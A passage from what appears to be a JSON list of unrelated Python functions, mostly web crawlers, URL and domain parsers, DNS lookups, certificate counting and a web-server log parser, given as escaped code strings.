os.path.exists(prefix + \\\"meta\\\"):\\n os.mkdir(prefix + \\\"meta\\\")\\n else:\\n #TO DO: What if meta exists but MANIFEST got deleted?\\n logging.info(\\\"Blog URLs already harvested. Skipping...\\\")\\n return\\n\\n #Iterate through each file in the directory and extract blog URLs.\\n for infile in glob.glob(os.path.join(directoryfiles, '*.html')):\\n logging.info(\\\"Harvesting blog URLs from %s.\\\" % infile)\\n dirpage = file(infile)\\n root = parse(dirpage).getroot()\\n #Rather than infer the category from the filename, just extract\\n #it from the file. Not the best way to do this, hit is minimal.\\n\\tpieces = infile.split('/')[-1].split('_')\\n\\tcat = pieces[1]\\n\\tsubcat = None\\n\\tif len(pieces) == 4:\\n\\t\\tsubcat = pieces[2]\\n blogs = root.xpath(\\\"//td[@class='site-details']\\\")\\n #Iterate through all of the blogs listed on the page.\\n for blog in blogs:\\n url = blog.xpath(\\\"a[@class='offsite']\\\")[0].text\\n title = blog.xpath('h3/a')[0].text\\n OUT = open(prefix + \\\"meta/MANIFEST\\\", \\\"a\\\")\\n #Store the category of the blog.\\n category[url] = cat\\n if subcat:\\n output = [cat, subcat, title.encode('utf-8').replace(' ', ' '), url]\\n subcategory[url] = subcat\\n print >> OUT, ' '.join(output)\\n else:\\n output = [cat, \\\"NA\\\", title.encode('utf-8').replace(' ', ' '), url]\\n print >> OUT, '\\\\t'.join(output)\\n manifest.append(output)\\n OUT.close()\\n # This is a hack to get around having to use a database.\\n # TODO: Reimplement using a database.\\n BLOGCATS = open(prefix + \\\"blogcats.pickle\\\", \\\"w\\\")\\n cPickle.dump(category, BLOGCATS)\\n BLOGCATS.close()\\n return manifest\",\n \"def count_domain_certs_since(domain, days=7):\\n all_certs = fetch_domain_certs(domain)\\n count = 0\\n now = jstime.utcnow()\\n domains = set()\\n start_date = now.shift(days=-1 * days)\\n for cert in all_certs:\\n # rate limit is 50 certs every week. so we check how many certs were issued within the last 7 days\\n # we will check using date only. entry_timestamp example \\\"2020-08-23T12:15:27.833\\\"\\n t = jstime.Arrow.strptime(cert[\\\"entry_timestamp\\\"].split(\\\"T\\\")[0], \\\"%Y-%m-%d\\\").to(\\\"utc\\\")\\n subdomain = cert[\\\"name_value\\\"].split(\\\".\\\")[0]\\n if t >= start_date:\\n domains.add(subdomain)\\n count = len(domains)\\n return count\",\n \"def get_number_of_pages():\\n first_page_link = URL.format(\\\"1\\\")\\n cuisine_recipes = get_content_from_url(first_page_link)\\n if not cuisine_recipes:\\n print \\\"no content for:\\\", first_page_link\\n return None\\n soup_cuisine = BeautifulSoup(cuisine_recipes)\\n # select characters from phrase and convert it into integer\\n return int(soup_cuisine.find(\\\"span\\\", {\\\"class\\\": \\\"last\\\"}).a[\\\"href\\\"].split('=')[1])\",\n \"def parse_links(self, response):\\n urls = LinkExtractor(canonicalize=True, allow_domains=self.domain)\\\\\\n .extract_links(response)\\n\\n for link in urls:\\n # If link was already extracted on another page, don't save it\\n if link.url in self.unique_links:\\n continue\\n if 'watch?v' in link.url:\\n self.links_out_file.write('%s\\\\n' % link.url)\\n self.unique_links[link.url] = 1\",\n \"def subdomain_dict(json_path=DEFAULT_JSON_PATH, domain=DEFAULT_DOMAIN_URL) -> dict:\\n subdomain_pages = {}\\n with open(json_path, 'r') as f:\\n for line in json_lines.reader(f):\\n json_dict = line\\n for url in json_dict.keys():\\n dom = url.split(\\\"/\\\")[2]\\n if domain in dom:\\n subdom = dom.split(\\\".\\\")[0]\\n if dom in subdomain_pages.keys():\\n subdomain_pages[dom] += 1\\n else:\\n subdomain_pages[dom] = 1\\n print(sum(subdomain_pages.values()))\\n return subdomain_pages\",\n \"def get_reference_citycounts_path() -> str:\\n Config.__get()\\n assert Config.__config is not None\\n relpath = Config.__config.get(\\\"wsgi\\\", \\\"reference_citycounts\\\").strip()\\n return get_abspath(relpath)\",\n \"def same_website(url_rec, u_rec):\\n if isinstance(url_rec, string_types):\\n url_rec = urlparse(url_rec)\\n if isinstance(u_rec, string_types):\\n u_rec = urlparse(u_rec)\\n return (url_rec.netloc == u_rec.netloc)\\n # todo: collect more of sample cases.\\n # disabled below check while working on ratholeradio, since links\\n # could go to the parent and that is ok. Figure out when it was\\n # desired not to go to the parent -- we might need explicit option\\n # and u_rec.path.startswith(url_rec.path)):\",\n \"def get_total_link_num(th_object, start, end, filename, path):\\n ln = th_object.get_link_nums(start, end, filename)\\n prev = \\\"\\\"\\n with open(path, 'w') as f:\\n f.write(\\\"Time,No_Link\\\\n\\\")\\n for k, v in ln.items():\\n tmp = str(k.time()).split('.')[0]\\n if prev != tmp:\\n f.write(tmp + \\\",\\\" + str(v) + \\\"\\\\n\\\")\\n prev = tmp\",\n \"def __cross_wiki_counts(self):\\n\\n print(\\\"Updating counts by merging with CrossWiki\\\")\\n\\n cnt = 0\\n crosswiki_path = os.path.join(\\n self.base_url, \\\"generic/p_e_m_data/crosswikis_p_e_m.txt\\\"\\n )\\n\\n with open(crosswiki_path, \\\"r\\\", encoding=\\\"utf-8\\\") as f:\\n for line in f:\\n parts = line.split(\\\"\\\\t\\\")\\n mention = unquote(parts[0])\\n\\n if (\\\"Wikipedia\\\" not in mention) and (\\\"wikipedia\\\" not in mention):\\n if mention not in self.wiki_freq:\\n self.wiki_freq[mention] = {}\\n\\n num_ents = len(parts)\\n for i in range(2, num_ents):\\n ent_str = parts[i].split(\\\",\\\")\\n ent_wiki_id = int(ent_str[0])\\n freq_ent = int(ent_str[1])\\n\\n if (\\n ent_wiki_id\\n not in self.wikipedia.wiki_id_name_map[\\\"ent_id_to_name\\\"]\\n ):\\n ent_name_re = self.wikipedia.wiki_redirect_id(ent_wiki_id)\\n if (\\n ent_name_re\\n in self.wikipedia.wiki_id_name_map[\\\"ent_name_to_id\\\"]\\n ):\\n ent_wiki_id = self.wikipedia.wiki_id_name_map[\\n \\\"ent_name_to_id\\\"\\n ][ent_name_re]\\n\\n cnt += 1\\n if (\\n ent_wiki_id\\n in self.wikipedia.wiki_id_name_map[\\\"ent_id_to_name\\\"]\\n ):\\n if mention not in self.mention_freq:\\n self.mention_freq[mention] = 0\\n self.mention_freq[mention] += freq_ent\\n\\n ent_name = self.wikipedia.wiki_id_name_map[\\n \\\"ent_id_to_name\\\"\\n ][ent_wiki_id].replace(\\\" \\\", \\\"_\\\")\\n if ent_name not in self.wiki_freq[mention]:\\n self.wiki_freq[mention][ent_name] = 0\\n self.wiki_freq[mention][ent_name] += freq_ent\",\n \"def extract_id(url):\\n trail_id = url.replace('https://www.trailforks.com/trails/','').replace('/','')\\n return trail_id\",\n \"def enumerate_profiles(inhandle, page):\\n html = inhandle.read()\\n soup = BeautifulSoup(html, 'html.parser')\\n \\n urls = [ node.find('a')['href'] for node in soup.findAll('h1', {'class':'entry-title'})]\\n return urls\",\n \"def CountAt(url):\\r\\n return url.count('@')\",\n \"def check_uri_redirects(df, column, replace=True, custom_name_postfix=None, redirection_property=\\\"http://dbpedia.org/ontology/wikiPageRedirects\\\", endpoint=DBpedia, regex_filter=\\\"dbpedia\\\", bundled_mode=True, uri_data_model=False, progress=True, caching=True):\\n\\n if custom_name_postfix == \\\"\\\":\\n\\n raise ValueError(\\\"'custom_name_postfix' can't be an empty string. If you don't want to use a custom_name_postfix, please set the attribute to None\\\")\\n\\n df = df.copy()\\n\\n if bundled_mode and not uri_data_model:\\n\\n values = \\\" ( <\\\"+df[column].str.cat(sep=\\\"> ) ( <\\\")+\\\"> ) \\\"\\n\\n query = \\\"SELECT DISTINCT ?value ?redirect WHERE {VALUES (?value) {\\\" +values+\\\"} ?value <\\\"+redirection_property+\\\"> ?redirect . }\\\"\\n\\n result_df = endpoint_wrapper(query, endpoint, caching=caching).drop_duplicates().reset_index(drop=True)\\n\\n else: \\n \\n result_df = pd.DataFrame()\\n \\n if uri_data_model:\\n \\n query = \\\"SELECT DISTINCT ?value ?redirect WHERE {VALUES (?value) {(<**URI**>)} ?value <\\\"+redirection_property+\\\"> ?redirect . }\\\"\\n\\n result_df = uri_querier(df, column, query, regex_filter=regex_filter, progress=progress, caching=caching)\\n \\n else:\\n\\n for uri in df[column].iteritems():\\n\\n if pd.notna(uri[1]):\\n\\n query = \\\"SELECT DISTINCT ?value ?redirect WHERE {?value <\\\"+redirection_property+\\\"> ?redirect . FILTER (?value = <\\\"+uri[1]+\\\">) }\\\"\\n\\n result = endpoint_wrapper(query, endpoint, caching=caching)\\n\\n result_df = result_df.append(result)\\n\\n else:\\n pass\\n\\n result_df = result_df.rename({\\\"callret-0\\\": \\\"value\\\"}, axis=\\\"columns\\\").drop_duplicates().reset_index(drop=True)\\n\\n if result_df.empty:\\n\\n return df\\n\\n else:\\n\\n if custom_name_postfix == None:\\n\\n new_attribute_name = column+\\\"_redirect\\\"\\n\\n else:\\n\\n new_attribute_name = column+custom_name_postfix\\n\\n result_df = pd.merge(df, result_df, how=\\\"left\\\", left_on=column, right_on=\\\"value\\\").drop(\\\"value\\\",axis=1).rename(columns={\\\"redirect\\\":new_attribute_name})\\n\\n if replace:\\n\\n result_df.loc[(pd.isnull(result_df[new_attribute_name])), new_attribute_name] = result_df[column]\\n result_df.drop(column, axis=1, inplace=True)\\n result_df.rename(columns={new_attribute_name: column}, inplace=True)\\n\\n return result_df\",\n \"def countdots(url): \\r\\n return url.count('.')\",\n \"def process_cookies(self, webhost_map):\\n\\n new_domains = set()\\n for cookie in self.found_cookies:\\n # if cookie is for a different domain, save that info and continue\\n if cookie[\\\"domain\\\"] != self.domain:\\n new_domains.add(cookie[\\\"domain\\\"])\\n continue\\n\\n path = cookie[\\\"path\\\"] if cookie[\\\"path\\\"] else \\\"/\\\"\\n # find corresponding webhost_map entry by common path and\\n # save it as \\\"page_node\\\"\\n page_node = None\\n for _, pages_node in webhost_map.items():\\n for map_path, page_node_tmp in pages_node.items():\\n if map_path == path:\\n page_node = page_node_tmp\\n break\\n if page_node is not None:\\n break\\n\\n # store the info of the current cookie in the given web host map\\n if page_node is not None:\\n if \\\"cookies\\\" in page_node:\\n if cookie[\\\"name\\\"] not in page_node[\\\"cookies\\\"]:\\n page_node[\\\"cookies\\\"].append(cookie[\\\"name\\\"])\\n else:\\n page_node[\\\"cookies\\\"] = [cookie[\\\"name\\\"]]\\n else:\\n # assume 200 status code for new path discovered through cookies\\n if \\\"200\\\" not in webhost_map:\\n webhost_map[\\\"200\\\"] = {}\\n webhost_map[\\\"200\\\"][path] = {\\\"cookies\\\": [cookie[\\\"name\\\"]]}\\n\\n return new_domains\",\n \"def record_user_click(index,keyword,url):\\n for entry in index:\\n if entry[0] == keyword:\\n for link in entry[1]:\\n if link[0] == url:\\n link[1] += 1\\n return\",\n \"def num_links(self, column='posts_separated', new_col_name='num_of_links'):\\n self.df[new_col_name] = [sum([url.count('http') for url in x]) for x in self.df[column]]\",\n \"def get_response_and_content(_url):\\n debug(\\\"START {}\\\".format(_url))\\n urls_set = build_end_url_list(_url)\\n deja_vu = []\\n response = None\\n content = None\\n safety = 10 # some urls have infinite loop redirs, where urls are generated and put in a meta-equip tag.\\n while (len(urls_set) > 0):\\n debug(str(urls_set))\\n # Get next url, and add it deja_vu list so we don't add it again\\n url_iter = urls_set.pop(0)\\n deja_vu.insert(0, url_iter)\\n\\n # Get response and content\\n response, content = get_raw_response_content(url_iter)\\n if response == None: continue\\n\\n # Check if it has redirects, and not in deja_vu, push it and take next one.\\n debug(\\\"content_length: {}\\\".format(str(len(content))))\\n redir_url = contains_redirect(content, _url)\\n if safety < 0:\\n debug(\\\"loop safety triggered, too many redirects\\\")\\n break\\n if redir_url:\\n safety -= 1\\n debug(\\\"redir_url: {}\\\".format(redir_url))\\n if redir_url not in deja_vu: urls_set.insert(0, redir_url)\\n continue\\n\\n # If we get here we have no redirects, so if have a response, let's exit!\\n if response != None:\\n break\\n # clear response for clean start on next loop, or to signal failure if this was the last one\\n response = None\\n\\n # If we got no response at all, leave it be so next function can handle, otherwise check if we want to save content\\n if response:\\n debug(\\\"EXIT: code: {} url: {} content_length: {}\\\".format(response.status_code, response.url, str(len(content))))\\n save_content_to_file(content, _url)\\n else:\\n debug(\\\"EXIT: no response object\\\")\\n return response, content\",\n \"def last_url(self):\\r\\n return '{0}page{1}/'.format(self.get_short_url(), self.page_count)\",\n \"def dnslookup(url) -> 'text': \\n try:\\n hn = socket.gethostbyaddr(url)[0] \\n except socket.error as msg: \\n hn = 'nohost'\\n return hn\",\n \"def audit_website(filename):\\n unexpected_websites = []\\n with open(filename, 'r') as file:\\n for _, elem in ET.iterparse(file, events=(\\\"start\\\",)):\\n if elem.tag == \\\"node\\\" or elem.tag == \\\"way\\\":\\n for tag in elem.iter(\\\"tag\\\"):\\n if tag.attrib['k'] == \\\"website\\\":\\n website = tag.attrib['v']\\n if not url_is_good(website):\\n unexpected_websites.append(website)\\n return unexpected_websites\",\n \"def process_trace(self, trace):\\n # type: (List[Span]) -> Optional[List[Span]]\\n for span in trace:\\n if span.parent_id is None and span.get_tag(http.URL) is not None:\\n url = span.get_tag(http.URL)\\n for regexp in self._regexps:\\n if regexp.match(url):\\n return None\\n return trace\",\n \"def get_links(self, data):\\n\\n count = 0\\n for link in data.xpath(\\\"//*[@href]\\\"):\\n cleaned = re.sub(\\\"\\\\?.*\\\", \\\"\\\", link.attrib[\\\"href\\\"])\\n cleaned = urljoin(self.base_url, cleaned)\\n if re.match(self.link_prefix, cleaned, flags = re.I) and \\\\\\n cleaned not in self.link_queue + self.links:\\n self.link_queue.append(cleaned)\\n self.logger.debug(\\\"Adding link %s\\\" % cleaned)\\n count += 1\\n return count\",\n \"def recording_count(self, obj):\\n\\n count = obj.recordings__count\\n url = reverse('admin:music_publisher_recording_changelist')\\n url += '?work__id__exact={}'.format(obj.id)\\n return mark_safe('<a href=\\\"{}\\\">{}</a>'.format(url, count))\",\n \"def lookup(redirects, request):\\n\\n # Compute and cache `request.path` once, rather than recomputing for each\\n # redirect rule that the path is matched against.\\n path = request.path\\n\\n for redirect in redirects:\\n if redirect.prefix and path.startswith(redirect.src):\\n suffix = path.replace(redirect.src, \\\"\\\", 1)\\n return _dst_root(request, redirect) + suffix\\n if not redirect.prefix and path == redirect.src:\\n return _dst_root(request, redirect)\\n return None\",\n \"def processUrl(self, original_url):\\n red = self.dbConnect()\\n original_url=str(original_url)\\n print(\\\"ORIGINAL URL: \\\" + original_url)\\n # check set to see if it is an existing url\\n if red.sismember('URL_SET', original_url):\\n print(\\\"Same URL mapping already exists, let's find that...\\\")\\n # return the existing url\\n for key in red.scan_iter():\\n if key.decode('utf-8') not in ['URL_SET', 'counter_value']:\\n print(\\\"Checking Key: \\\" + str(key))\\n curr_val = red.get(key).decode('UTF-8')\\n print(\\\"Checking Value: \\\" + str(curr_val))\\n if curr_val == original_url:\\n print(\\\"Found Mapping: \\\" + str(key) + \\\" => \\\" + str(curr_val) )\\n return key.decode('UTF-8'), red.ttl(key)\\n print(\\\"No Mapping found, something is wrong...\\\")\\n print(\\\"Possibly a manual deletion\\\")\\n print(\\\"Adding the URL mapping again...\\\")\\n # if not found or if it is a new url - do the following\\n # add to cache, update counter\\n print(\\\"Adding the new URL to redis cache...\\\")\\n counter_seq = self.getAndUpdateCounter()\\n encoded_url = self.encodeUrl(counter_seq)\\n print(\\\"ENCODED URL: \\\" + str(encoded_url))\\n print(\\\"NEW COUNTER VALUE: \\\" + str(counter_seq))\\n red.set(encoded_url, original_url)\\n \\n # adding an expiry\\n expiry_time = timedelta(days=days_to_live)\\n print(\\\"Setting an expiry of \\\" + str(expiry_time.days) + \\\" days for the URL.\\\")\\n red.expire(encoded_url, expiry_time)\\n # add this to a global set for quick lookup\\n red.sadd('URL_SET', original_url)\\n return encoded_url, red.ttl(encoded_url)\",\n \"def _get_urls_drs(file_type, id, reference_name = None, start = None, end = None):\\n\\n file_exists = file_exists_drs(id)\\n if file_exists:\\n file_format = \\\"VCF\\\" \\n urls = _create_slices(CHUNK_SIZE, id, reference_name, start, end)\\n response = {\\n 'htsget': {\\n 'format': file_format,\\n 'urls': urls \\n }\\n }\\n return {\\\"response\\\": response, \\\"http_status_code\\\": 200}\\n else:\\n err = f\\\"No {file_type} found for id: {id}\\\" \\n return {\\\"response\\\": err, \\\"http_status_code\\\": 404}\",\n \"def ReporterReference(pidofreporter):\\n try:\\n pid_list = []\\n Mcafee_Reporter_pid = getpid(pidofreporter)\\n print \\\"Now\\\",Mcafee_Reporter_pid\\n listofpid = list(Mcafee_Reporter_pid)\\n pid_list.append(listofpid[1])\\n split_pids_by_space = [words for segments in pid_list for words in segments.split()]\\n print \\\"split_pids_by_space\\\", split_pids_by_space\\n reporter_current_pid = int(''.join(map(str,split_pids_by_space[1])))\\n print \\\"reporter_current_pid\\\", reporter_current_pid\\n Mcafee_Reporter_Reference = getAppRefByPidofapp(reporter_current_pid)\\n #print \\\"Mcafee_Reporter_Reference\\\", Mcafee_Reporter_Reference\\n except Exception as er:\\n return False\\n print \\\"Not able to get Reporter details\\\"\\n print Mcafee_Reporter_Reference\\n return Mcafee_Reporter_Reference\",\n \"def get_pid_from_url(url):\\n return re.findall(r'store.lining.com/shop/goods-(\\\\w+).html\\\\w*', url)[0]\",\n \"def get_domain(self, response):\\n parts = urllib.parse.urlparse(response.url)\\n domain = parts.netloc\\n return domain\",\n \"def countSubDomain(subdomain):\\r\\n if not subdomain:\\r\\n return 0\\r\\n else:\\r\\n return len(subdomain.split('.'))\",\n \"def checkSite(url, strings, output):\\n\\n domain = getDomainName(url)\\n otherLinks = list()\\n txt = \\\"\\\\n=================================\\\\n\\\"\\n txt += \\\"Domain: \\\" + domain + \\\"\\\\n\\\"\\n txt += \\\"=================================\\\\n\\\"\\n linksViewed = set()\\n dStrings = dict()\\n imgs = set([])\\n links = set([url])\\n forbidden = [\\\".ogg\\\", \\\".tex\\\", \\\".pdf\\\", \\\".mp3\\\", \\\"mp4\\\", \\\".ods\\\", \\\".xls\\\", \\\".xlsx\\\",\\\\\\n \\\".doc\\\", \\\".docx\\\", \\\".zip\\\", \\\".tar\\\", \\\".gz\\\", \\\".ggb\\\", \\\".cls\\\", \\\".sty\\\", \\\".avi\\\", \\\".flv\\\"\\\\\\n \\\".mkv\\\", \\\".srt\\\"]\\n #While we have not check all URL\\n while links - linksViewed != set([]):\\n #Check all links (not already viewed) for this page\\n for link in links - linksViewed:\\n #If the domains are the same, the extension is not forbidden\\n if getDomainName(link) == domain and getExtension(link) not in forbidden:\\n print \\\"Checking on \\\" + link + \\\"...\\\\n\\\"\\n dStringst, linkst, imgst = checkPage(link, strings)\\n txt += link + \\\":\\\\n\\\"\\n for key, value in dStringst.items():\\n txt += \\\"\\\\t\\\" + key + \\\" -> \\\" + str(value) + \\\"\\\\n\\\"\\n txt += \\\"\\\\n\\\"\\n #Clear list of forbidden extentions\\n tmp = list()\\n for l in linkst:\\n if getDomainName(l) == domain and getExtension(l) not in forbidden:\\n tmp.append(l)\\n #If the extension is allowed but the link is on an other domain\\n elif getDomainName(l) != domain and getExtension(l) not in forbidden:\\n otherLinks.append(l)\\n linkst = set(tmp)\\n links = links | linkst\\n imgs = imgs | imgst\\n #Update link count\\n for key, value in dStringst.items():\\n dStrings[key] = dStrings[key] + value if key in dStrings.keys() else 0\\n\\n linksViewed = linksViewed | set([link])\\n\\n links = set(links)\\n imgs = set(imgs)\\n\\n #Export/print after each website, in order to do not lost all if user\\n #stops the program with Ctrl+C\\n if len(output) > 0:\\n export(output, txt)\\n else:\\n print txt\\n return txt, set(otherLinks), linksViewed\",\n \"def test_nslookup_resolution(self):\\n assert _get_ns_records_domains_for_domain(\\\"google.com\\\")\",\n \"def prepare_wdt(result_file, clf_file):\\n url2label, site2label = _read_clf_file(clf_file)\\n urls = _read_result_file(result_file) # urls ordered by timestamp\\n relev_pages, relev_sites = _count_relev(url2label, site2label, urls)\\n return relev_pages, relev_sites\",\n \"def city_county_postcode_mapper(url):\\n print(\\\"\\\\n*******************--- Starting Web Scrapper for County Data of England ---*******************\\\")\\n print(\\\"\\\\n\\\")\\n\\n # County_data --> index,county,towns_link,country,no_of_towns\\n county_data, town_links = generalized_table_scrapper(url+\\\"/towns-in-uk/\\\",2,5)\\n\\n if os.path.exists(\\\"County_Files\\\"+os.path.sep) == False:\\n os.makedirs(\\\"County_Files\\\"+os.path.sep)\\n\\n for link in range(len(town_links)):\\n\\n my_file = Path(\\\"County_Files\\\"+os.path.sep+county_data[link][1]+\\\".csv\\\")\\n\\n if my_file.is_file():\\n continue\\n\\n else:\\n with open(\\\"County_Files\\\"+os.path.sep+county_data[link][1]+\\\".csv\\\",\\\"w+\\\") as wp:\\n writer = csv.writer(wp)\\n new_url = url + town_links[link]\\n towns_in_county, postcode_links = generalized_table_scrapper(new_url,1,3)\\n check = 0\\n for town in range(len(postcode_links)):\\n postal_code = \\\"\\\"\\n if(len(postcode_links[town])>1):\\n postal_code = get_postal_code(url+postcode_links[town])\\n row =[towns_in_county[town][1],postal_code]\\n if len(county_data[link])>=5:\\n row.append(county_data[link][1])\\n row.append(county_data[link][3])\\n writer.writerow(row)\\n check+=1\\n print(\\\"\\\\nFinished Writing --> \\\" + \\\"County_Files\\\"+os.path.sep+county_data[link][1]+\\\".csv\\\")\\n print(\\\"Writtern --> \\\" + str(check) + \\\" rows\\\")\\n wp.close()\\n\\n print(\\\"\\\\n*******************--- Finished Scrapping County Data ---*******************\\\")\",\n \"def test_parsing_webserver_logs(file, host_ip):\\n\\n ip_regexp = r\\\"\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\" # regexp for searching ip in logfile\\n client_error_regexp = r'\\\" 4\\\\d{2} ' # 4xx number\\n server_error_regexp = r'\\\" 5\\\\d{2} ' # 5xx number\\n request_time_regexp = r'] \\\\d+ \\\"' # any number between ] and \\\" (configured apache's /D (request time by\\n # microseconds logging parameter to be between these symbols)\\n timestamp_regexp = r'\\\\d{2}/\\\\D+/\\\\d{4}:\\\\d{2}:\\\\d{2}:\\\\d{2}'\\n\\n values = {}\\n top_count = \\\"10\\\"\\n\\n def file_last_timestamp(file):\\n with open(file) as f:\\n last_line = list(f)[-1]\\n print(last_line)\\n timestamp = re.search(timestamp_regexp, last_line)\\n if timestamp:\\n return str(timestamp[0]).replace('/', '.').replace(':', '.')\\n else:\\n return path.basename(file)\\n\\n\\n def copy_unique_elements(list_of_all):\\n \\\"\\\"\\\"\\n Copies unique elements from list to unique_list\\n :param list_of_all:\\n :return:\\n \\\"\\\"\\\"\\n unique_list = []\\n for i in list_of_all:\\n if i not in unique_list:\\n unique_list.append(i)\\n if len(unique_list) == int(top_count):\\n break\\n return unique_list\\n\\n def findall_unique_exps(regexp, data):\\n \\\"\\\"\\\"\\n Returns list of unique expressions in data (may be limited by length\\n if copy_unique_elements function's used)\\n :param regexp:\\n :param data:\\n :return:\\n \\\"\\\"\\\"\\n list_of_all = re.findall(regexp, data)\\n count = Counter(list_of_all)\\n sorted_list = sorted(list_of_all, key=lambda x: (count[x], x), reverse=True)\\n return copy_unique_elements(sorted_list)\\n\\n def findall_unique_exps_lines(regexp, logfile):\\n \\\"\\\"\\\"\\n Returns a list of lines with unique expressions in logfile (may be limited by length\\n if copy_unique_elements function's used)\\n :param regexp:\\n :param logfile:\\n :return:\\n \\\"\\\"\\\"\\n list_of_all = []\\n with open(logfile) as logfile:\\n for line in logfile:\\n exp = re.compile(regexp)\\n if exp.search(line):\\n list_of_all.append(line)\\n return copy_unique_elements(list_of_all)\\n\\n def requests_count(regexp, data):\\n \\\"\\\"\\\"\\n Returns requests count containing expression like 'GET' or 'POST'\\n :param regexp:\\n :param data:\\n :return:\\n \\\"\\\"\\\"\\n requests_list = re.findall(regexp, data)\\n return int(list(Counter(requests_list).values())[0])\\n\\n def requests_exec_time_list(regexp, data, logfile):\\n \\\"\\\"\\\"\\n Returns lines with longest requests (number of lines is set in top_count variable)\\n :param regexp:\\n :param data:\\n :param logfile:\\n :return:\\n \\\"\\\"\\\"\\n # find every request time and add to collection\\n request_time_list = re.findall(regexp, data)\\n request_time_count = Counter(request_time_list)\\n sorted_request_time_list = sorted(request_time_list, key=lambda x: (request_time_count[x], x), reverse=True)\\n # convert strings in requests time integer values\\n for index, item in enumerate(sorted_request_time_list):\\n sorted_request_time_list[index] = int(''.join(c for c in item if c.isdigit()))\\n # collect top <top_count> longest requests\\n top_request_time_list = []\\n for i in range(int(top_count)):\\n max_request = max(sorted_request_time_list)\\n top_request_time_list.append(max_request)\\n sorted_request_time_list.remove(max_request)\\n # search top <top_count> longest requests in a file and collect lines with them to a list\\n top_request_lines = []\\n with open(logfile) as f:\\n for line in f:\\n for i in top_request_time_list:\\n if str(i) in line:\\n top_request_lines.append(line)\\n return top_request_lines\\n\\n def parse(log):\\n\\n timestamp = file_last_timestamp(log)\\n json_file_name = 'log_parse_{}.json'.format(timestamp)\\n open(json_file_name, 'w').close() # clears json-file for every test run\\n\\n print('\\\\n{}'.format(log)) # to see what log was parsed\\n\\n unique_client_error_lines_list = findall_unique_exps_lines(client_error_regexp, log)\\n unique_server_error_lines_list = findall_unique_exps_lines(server_error_regexp, log)\\n\\n with open(log) as f:\\n data = f.read()\\n\\n unique_ips_list = findall_unique_exps(ip_regexp, data)\\n\\n get_count = requests_count('GET', data)\\n post_count = requests_count('POST', data)\\n\\n total_requests_count = get_count + post_count\\n\\n top_request_lines = requests_exec_time_list(request_time_regexp, data, log)\\n\\n with open(json_file_name, 'a') as json_file:\\n values[\\\"{}\\\".format(log)] = {'TOP {} IPs'.format(top_count): unique_ips_list,\\n 'Total requests count': total_requests_count,\\n 'GET requests count': get_count,\\n 'POST requests count': post_count,\\n 'TOP {} client errors'.format(top_count): unique_client_error_lines_list,\\n 'TOP {} server errors'.format(top_count): unique_server_error_lines_list,\\n 'TOP {} longest requests'.format(top_count): top_request_lines}\\n json.dump(values, json_file)\\n\\n if isinstance(file, list):\\n for i in file:\\n try:\\n parse(i)\\n except UnicodeDecodeError:\\n print(\\\"File wasn't parsed (check format) ({})\\\".format(file))\\n pass\\n else:\\n try:\\n parse(file)\\n except UnicodeDecodeError:\\n print(\\\"File wasn't parsed (check format) ({})\\\".format(file))\",\n \"def legacy_pagecounts(project, start, end,\\n access_site='all-sites', granularity='daily'):\\n project_arg = 'all-projects'\\n if project != 'all-projects':\\n project_arg = '{}.org'.format(project)\\n args = PC_ARGS.format(project=project_arg,\\n start=start,\\n end=end,\\n access_site=access_site,\\n granularity=granularity)\\n return __api__(PC_ENDPOINT, args)\",\n \"def host_urls(host, limit):\\n # Create the required data dictionary for Host/Report\\n api_data = {\\n 'host': host,\\n 'page': 1,\\n 'rpp': limit\\n }\\n response = http_request(endpoint=HOST_REPORT_API, data=api_data)\\n\\n if response.get('errorNo') != 0:\\n return_error('API Returned, {}:{}'.format(response.get('errorNo'), response.get('errorMsg')))\\n\\n return response\",\n \"def recursive_dns_lookup(target_name, qtype, root_servers_list):\\n\\n # Base case\\n if not root_servers_list:\\n return None\\n\\n # Create dns query based on the target_name (website)\\n # and qtype (queue type: CNAME, A, AAAA, or MX)\\n dns_query = dns.message.make_query(target_name, qtype)\\n\\n for server in root_servers_list:\\n # Doing a try catch to check if the dns server times out,\\n # if it does then we continue and try another server\\n try:\\n query_response = dns.query.udp(dns_query, server, 3)\\n except dns.exception.Timeout:\\n continue\\n # If there's an answer in the response\\n if query_response.answer:\\n # Search through the response.answer for possible answers\\n for response_answers in query_response.answer:\\n #print(\\\"response_answers: \\\", response_answers)\\n for response_answer in response_answers:\\n #print(\\\"Response_answer\\\", response_answer)\\n target_name = str(response_answer)[:-1] # Removes the period at the end\\n #print(\\\"Target_name\\\", target_name)\\n # If we don't get the reponse we're after then\\n # continue searching through the root_servers\\n if response_answer.rdtype != qtype:\\n if response_answer.rdtype == 5:\\n return recursive_dns_lookup(target_name, qtype, ROOT_SERVERS)\\n else:\\n # Return the answer we wanted\\n return query_response\\n else: # If there isn't an answer in the response then we check additional\\n\\n # If we do have something in additional then get the stuff inside\\n if query_response.additional:\\n ip_addresses = []\\n for response_additional in query_response.additional:\\n #print(\\\"response_additional: \\\", response_additional)\\n # Convert to string then send to function for parsing the address out\\n response_additional_str = str(response_additional)\\n\\n #print(\\\"function get_address resp:\\\", resp)\\n resp_elements = response_additional_str.split()\\n #print(\\\"function get_address resp_elements:\\\", resp_elements)\\n ip_address = []\\n for resp_element in resp_elements:\\n #print(\\\"function get_address resp_element:\\\", resp_element)\\n if resp_element != 'A':\\n continue\\n else:\\n #print(\\\"function get_address resp_element = A:\\\", resp_element)\\n #print(\\\"function get_address address:\\\", resp_elements[-1])\\n ip_address.append(resp_elements[-1])\\n ip_addresses += ip_address\\n\\n return recursive_dns_lookup(target_name, qtype, ip_addresses)\",\n \"def _check_complete(self, crawl_id):\\n site = self.site_list[crawl_id][0]\\n base = '%s::%s' % (site, crawl_id)\\n site_count = self.engine_redis.get(base + \\\"::count\\\")\\n return site_count\",\n \"def return_count(self, number, request, environ, start_response,\\n response_headers):\\n response_type = self.content_negotiation(\\n request, environ, self.DereferenceTypes)\\n if response_type is None:\\n return self.odata_error(\\n request, environ, start_response, \\\"Not Acceptable\\\",\\n '$count requires plain text or octet-stream formats', 406)\\n data = str(number).encode('utf-8')\\n response_headers.append((\\\"Content-Type\\\", str(response_type)))\\n response_headers.append((\\\"Content-Length\\\", str(len(data))))\\n start_response(\\\"%i %s\\\" % (200, \\\"Success\\\"), response_headers)\\n return [data]\",\n \"def get_accession_number(url):\\n return url.split(\\\"/\\\")[-1]\",\n \"def trio_hits(l_contig, mid_contig_end, blast_hits, olap_dict, cont_dict):\\n mid_contig = mid_contig_end.split(\\\"prime_\\\")[1]\\n length_mid = len(cont_dict[mid_contig].seq) \\n right_links = []\\n 